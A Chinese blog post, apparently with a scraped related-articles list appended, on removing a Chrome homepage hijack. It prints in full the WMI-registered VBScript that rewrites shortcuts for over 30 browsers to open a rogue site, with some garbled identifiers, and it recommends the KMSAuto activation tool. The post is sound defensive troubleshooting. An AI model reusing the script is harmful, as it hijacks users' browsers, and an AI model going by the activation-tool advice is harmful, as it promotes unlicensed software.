最近重装了一次电脑。尽管什么百度系的软件我都没有下载,Chrome浏览器的主页还是被硬生生劫持了。每次点开后的主页是http://hao.qquu8.com这个链接,紧接着它会跳向hao123。电脑上原装的其他浏览器(IE和Edge)也是这样,弄得每次打开浏览器就被恶心一下,很是恼火。

我们先来看看问题在哪。右键快捷方式查看属性:

哦,原来快捷方式被改了,后面加了一段url。把它删了试试?

还是不行,几分钟后还是被改回来了。

我在很多平台上找了解决办法。有的试了没有效果,重新开机后还是一样的毛病,有的推荐装“管家”,但这种以毒攻毒的办法无异于饮鸩止渴。最后终于有一种靠谱的方法,经过实验和一点修改,完美解决!

主页被劫持的原理是一段通过WMI发起的定时自动运行脚本,WMI(Windows Management Instrumentation)可以理解成Windows系统后台运行的一个事件管理器。为查看WMI事件,先去下载WMITools并安装:WMI工具。

之后打开WMI Event Viewer:

点击左上角的笔的图标(Register For Events),在弹出的Connect to namespace的框直接点OK,Login的页面也直接点OK。点开左侧栏的EventFilter,再点击下级目录的项目:

在右侧栏右键点击ActiveScriptEventConsumer,并通过view instant properties查看属性:

在Script Text那一栏我们可以看到这段脚本:

On Error Resume Next

Const link = "http://hao.qquu8.com/?m=yx&r=j"

Const link360 = "http://hao.qquu8.com/?m=yx&r=j&s=3"

browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe"

lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\sjtul\Desktop,C:\Users\sjtul\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\sjtul\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\sjtul\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\sjtul\AppData\Roaming\Microsoft\Windows\Start Menu\Programs"

browsersArr = split(browsers,",")

Set oDic = CreateObject("scripting.dictionary")

For Each browser In browsersArr

oDic.Add LCase(browser), browser

Next

lnkpathsArr = split(lnkpaths,",")

Set oFolders = CreateObject("scripting.dictionary")

For Each lnkpath In lnkpathsArr

oFolders.Add lnkpath, lnkpath

Next

Set fso = CreateObject("Scripting.Filesystemobject")

Set WshShell = CreateObject("Wscript.Shell")

For Each oFolder In oFolders

If fso.FolderExists(oFolder) Then

For Each file In fso.GetFolder(oFolder).Files

If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then

Set oShellLink = WshShell.CreateShortcut(file.Path)

path = oShellLink.TargetPath

name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)

If oDic.Exists(LCase(name)) Then

If LCase(name) = LCase("360se.exe") Then

oDicShellLink.Arguments = link360

Else

oShellLink.Arguments = link

End If

If file.Attributes And 1 Then

fsoile.Attributes = file.Attributes - 1

End If

oShellLink.Save

End If

End If

Next

End If

Next

终于抓到了幕后黑手。可以看到这是一段VBScript代码,攻击目标涵盖了包括Chrome、360、Firefox、搜狗等30余种常见的浏览器。脚本以浏览器的安装地址为切入点,创建WshShell对象,进而生成植入了流氓网站的快捷方式。360浏览器有限定主页格式,于是这段脚本还特地修饰了流氓网站的链接。唉,流氓至此,也是服了。

查到了源头如何清清除这段造孽的脚本呢?直接在WMI Event Viewer中将_EventFilter.Name="VBScriptKids_filter"右键删掉会被系统拒绝掉,需要去WMI Event Viewer的安装位置,右键以管理员方式运行exe文件才能删掉。之后还要把各个快捷方式都改回不带流氓网站的版本,包括桌面上的、开始菜单里的以及快速访问栏里的快捷方式,其中开始菜单里的快捷方式要去C:\ProgramData\Microsoft\Windows\Start Menu\Programs里改掉。唉,一趟下来真是让人心累,好在最终浏览器摆脱了流氓网站的劫持:

当然在这时候,你可以点击之前下载的WMI安装包,把WMI系列工具卸载掉。

最后提一下电脑中毒的原因。我分析是前几天用了小马激活这个工具来激活Windows系统,当时并没有激活成功反而还引来了病毒。推荐一款俄罗斯人开发的工具,可以成功激活Windows系统和Office软件,也不会招来一些流氓脚本:KMSAuto。

chrome 打开默认页 被篡改_为什么 Chrome 浏览器的主页会被篡改为 hao123 ?遇到这种情况要如何修复?...相关推荐

  1. chrome 插件 页面请求转发_入门chrome插件开发教程和经验总结,一篇就搞掂!

    前言 关于chrome extension的开发经验总结或说明文档等资料很多,很多人在写,然而,我也是一员.但是,也许这篇文章,可能给你一些不一样的感受. 这里介绍的是80%你要开发扩展会碰到的问题 ...

  2. chrome 网页重新加载_在Chrome中为各个网页设置自定义重新加载时间

    chrome 网页重新加载 Do you have a webpage that needs to be reloaded every so often or perhaps you have mul ...

  3. 稍微冷门一点的经验,phpnow不能打开默认页的问题处理

    因为本地调试项目需要,需要使用 phpnow.下载安装都很简单,可是安装后127.0.0.1显示不出默认页,而且一直处于加载状态. 尝试 开始以后是一个网卡绑定了多个IP的问题,于是移除多个IP,只保 ...

  4. 计算机怎黑夜模式么启动,chrome夜间模式怎么设置_电脑chrome夜间模式打开操作方法-win7之家...

    很多时候,我们在使用电脑中的chrome浏览器时,由于时间一长,外界的光线难免会出现变化,这时为了使得用户的眼睛长时间看亮度较大的电脑屏幕,我们就可以将chrome浏览器中的夜间模式开启,那么chro ...

  5. 设置网页打开默认全屏_提升Adsense收入的三个关键设置

    据我所知,这些设置还有不少小伙伴没有重视和设置.如果你一个都没做到,那么每天大约会损失30%-50%的收入. 1.开启Adsense自动广告 Google Adsense改版后的自动广告,进行了诸多优 ...

  6. 设置网页打开默认全屏_网页打包成APP,macOS解锁刷少数派新姿势

    随着web端所能实现的功能.体验越来越完善,是否需要客户端成为网站管理者重新考虑的问题,尤其是对于一些资讯类信息流网站.例如少数派,移动端和桌面端网站的自适应做的非常完善,拥有iOS/Android双 ...

  7. 设置网页打开默认全屏_微信公众号里的视频不能进行全屏播放的解决方法

    我们手机版的微信视频,发现视频播放只能竖屏播放,点击右下角对放大按钮也是如此,网页版也是小窗口播放,而视频这样显示特别影响我们的观看感受, 下面说下微信公众号里的视频不能进行全屏播放的解决方法. 1. ...

  8. endnote打开后闪退_为什么微信打不开闪退怎么回事?微信打不开怎么修复?

    现在微信早已变成了每人必备必需的一个app,可是即然用的人多了,便会在所难免出现各种各样小问题,如果是bug微信精英团队还会恢复,可是假如碰到微信开启忽然卡屏或是是开不上,亦或是开过沒有反映等各抒已见 ...

  9. chrome快速关闭标签页_将Google Chrome的“新标签页”替换为快速拨号

    chrome快速关闭标签页 Are you looking for a good alternative to the New Tab Page in Google Chrome? Then you ...

最新文章

  1. iOS 生成带 logo 的二维码,区域截屏保存至相册(小功能二连发 (一))
  2. python学生信息管理系统心得体会-python实现名片管理系统
  3. Nginx开启Gzip压缩大幅提高页面加载速度
  4. synchronized原理_synchronized关键字的作用、原理以及锁优化
  5. ubuntu+idea intellij配置android开发环境
  6. OpenFlow和SDN的历史和原理介绍
  7. 06:校门外的树【一维数组】
  8. ubuntu安装python3.8_在Ubuntu 18.04系统上安装Python 3.8的两种方法
  9. php实现观看记录,PHP实现浏览历史记录
  10. 语法制导的翻译是如何实现的_考研寄宿:怎样提高英语翻译的能力?
  11. 阮一峰ES6笔记总结
  12. 【Arduino 项目篇】智能窗户控制系统(附录:简单红绿灯制作)
  13. 《你不知道的JavaScript》学习佛系梳理
  14. Springboot发送美观的HTML邮件
  15. 什么是概率?对我有什么用?
  16. 怎么用notepad将html格式化,Notepad++如何使用Tidy2格式化HTML文档?
  17. 难复制薇娅李佳琦,如涵的网红牌何时能在资本市场出奇制胜?
  18. 爱就是当你坐在他身边,哪怕什么都不做,也会感觉很开心
  19. 元宇宙技术在职业教育示范性虚拟仿真实训基地建设项目上的前景展望
  20. 看完《三体》,我顿悟了5个最残酷的职场生存法则

热门文章

  1. BamBook阅读器修改待机图片
  2. windows查看内存的频率等详细信息
  3. Vue项目启动后自动打开浏览器
  4. ios入门攻略 07篇 C语言基础【循环结构之for语句,打印九九乘法表】
  5. 完美者u盘linux,完美者u盘维护系统v10.2 完整终结版_完美者u盘维护系统2017官方下载|好特下载...
  6. 【技巧】批量解除可执行文件的锁定 “此文件来自其他计算机,可能被阻止以帮助保护该计算机”
  7. 每天一个Linux命令(22):文件属性详解
  8. Android 9.0 安装包解析错误
  9. axios拦截器设置及其实现原理剖析
  10. 原生js 移动端 无缝衔接轮播图